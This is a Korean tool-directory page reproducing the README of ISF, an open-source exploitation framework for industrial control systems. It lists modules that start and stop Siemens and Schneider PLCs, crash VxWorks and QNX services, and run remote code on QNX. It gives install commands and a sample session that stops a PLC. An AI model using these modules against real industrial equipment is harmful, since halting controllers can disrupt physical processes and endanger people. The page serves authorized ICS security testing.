Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
isf — ISF(Industrial Control System Exploitation Framework), Python 기반의 익스플로잇 프레임워크 | Kitploit
도구/GitHubGitHub/dark-lbp/isf
Penetration Testing FrameworksExploit FrameworksNetwork MappingVulnerability AnalysisExploitationSCADA/ICS SecurityInformation GatheringFuzzingPayload DevelopmentArchived
GitHubdark-lbp/isf

isf

1.1k301132년 전아직 검토되지 않음

ISF(Industrial Control System Exploitation Framework), Python 기반의 익스플로잇 프레임워크

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

산업용 익스플로잇 프레임워크

ISF(Industrial Exploitation Framework)는 Python 기반의 익스플로잇 프레임워크로, metasploit 프레임워크와 유사합니다.

ISF는 오픈 소스 프로젝트인 routersploit을 기반으로 합니다.

다른 언어로 읽기: English, 简体中文,

면책 조항

ISF를 사전 상호 동의 없이 대상 공격에 사용하는 것은 불법입니다. 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

ICS 프로토콜 클라이언트

이름경로설명
modbus_tcp_clienticssploit/clients/modbus_tcp_client.pyModbus-TCP 클라이언트
wdb2_clienticssploit/clients/wdb2_client.pyWdbRPC 버전 2 클라이언트(Vxworks 6.x)
s7_clienticssploit/clients/s7_client.pyS7comm 클라이언트(S7 300/400 PLC)

익스플로잇 모듈

이름경로설명
s7_300_400_plc_controlexploits/plcs/siemens/s7_300_400_plc_control.pyS7-300/400 PLC 시작/중지
s7_1200_plc_controlexploits/plcs/siemens/s7_1200_plc_control.pyS7-1200 PLC 시작/중지/리셋
vxworks_rpc_dosexploits/plcs/vxworks/vxworks_rpc_dos.pyVxworks RPC 원격 DoS(CVE-2015-7599)
quantum_140_plc_controlexploits/plcs/schneider/quantum_140_plc_control.py슈나이더 Quantum 140 시리즈 PLC 시작/중지
crash_qnx_inetd_tcp_serviceexploits/plcs/qnx/crash_qnx_inetd_tcp_service.pyQNX Inetd TCP 서비스 DoS
qconn_remote_execexploits/plcs/qnx/qconn_remote_exec.pyQNX qconn 원격 코드 실행
profinet_set_ipexploits/plcs/siemens/profinet_set_ip.pyProfinet DCP 장치 IP 구성

스캐너 모듈

이름경로설명
profinet_dcp_scanscanners/profinet_dcp_scan.pyProfinet DCP 스캐너
vxworks_6_scanscanners/vxworks_6_scan.pyVxworks 6.x 스캐너
s7comm_scanscanners/s7comm_scan.pyS7comm 스캐너
enip_scanscanners/enip_scan.pyEthernetIP 스캐너

ICS 프로토콜 모듈 (Scapy 모듈)

이 프로토콜들은 Kitty와 같은 다른 퍼징 프레임워크에서 사용하거나 자체 클라이언트를 만드는 데 사용할 수 있습니다.

이름경로설명
pn_dcpicssploit/protocols/pn_dcpProfinet DCP 프로토콜
modbus_tcpicssploit/protocols/modbus_tcpModbus TCP 프로토콜
wdbrpc2icssploit/protocols/wdbrpc2WDB RPC 버전 2 프로토콜
s7commicssploit/protocols/s7comm.pyS7comm 프로토콜

설치

Python 요구 사항

  • gnureadline (OSX 전용)
  • requests
  • paramiko
  • beautifulsoup4
  • pysnmp
  • python-nmap
  • scapy scapy는 이 공식 문서를 참고하여 수동으로 설치할 것을 권장합니다

Kali에 설치

root@kitploit:~
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

사용법

root@kitploit:~
    root@kali:~/Desktop/temp/isf# python isf.py
    
      _____ _____  _____ _____ _____  _      ____ _____ _______
     |_   _/ ____|/ ____/ ____|  __ \| |    / __ \_   _|__   __|
       | || |    | (___| (___ | |__) | |   | |  | || |    | |
       | || |     \___ \\___ \|  ___/| |   | |  | || |    | |
      _| || |____ ____) |___) | |    | |___| |__| || |_   | |
     |_____\_____|_____/_____/|_|    |______\____/_____|  |_|
    
    
                    ICS 익스플로잇 프레임워크
    
    참고     : ICSSPOLIT는 routersploit에서 포크되었습니다.
               https://github.com/reverse-shell/routersploit
    개발 팀 : wenzhe zhu(dark-lbp)
    버전  : 0.1.0
    
    익스플로잇: 2 스캐너: 0 자격증명: 13
    
    ICS 익스플로잇:
        PLC: 2          ICS 스위치: 0
        소프트웨어: 0
    
    isf >

익스플로잇

root@kitploit:~
isf > use exploits/plcs/
exploits/plcs/siemens/  exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >

탭 키를 사용하여 자동 완성할 수 있습니다.

옵션

모듈 옵션 표시:

root@kitploit:~
isf (S7-300/400 PLC Control) > show options

대상 옵션:

   이름       현재 설정             설명
   ----       ----------------     -----------
   target                          대상 주소 예: 192.168.1.1
   port       102                  대상 포트


모듈 옵션:

   이름        현재 설정             설명
   ----        ----------------     -----------
   slot        2                    CPU 슬롯 번호.
   command     1                    명령 0:PLC 시작, 1:PLC 중지.


isf (S7-300/400 PLC Control) >

옵션 설정

root@kitploit:~
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}

모듈 실행

root@kitploit:~
isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >

익스플로잇 정보 표시

root@kitploit:~
isf (S7-300/400 PLC Control) > show info

이름:
S7-300/400 PLC Control

설명:
S7comm 명령을 사용하여 PLC를 시작/중지합니다.

장치:
-  지멘스 S7-300 및 S7-400 프로그래밍 가능 논리 컨트롤러(PLC)

저자:
-  wenzhe zhu <jtrkid[at]gmail.com>

참고 자료:

isf (S7-300/400 PLC Control) >

문서

  • Modbus-TCP 클라이언트 사용법
  • WDBRPCV2 클라이언트 사용법
  • S7comm 클라이언트 사용법
  • SNMP 무차별 대입 사용법
  • S7 300/400 PLC 비밀번호 무차별 대입 사용법
  • Vxworks 6.x 스캐너 사용법
  • Profinet DCP 스캐너 사용법
  • S7comm PLC 스캐너 사용법
  • Profinet DCP IP 설정 모듈 사용법
  • 추가 폴더에서 모듈 로드
  • 자체 모듈 작성 방법
도구 다운로드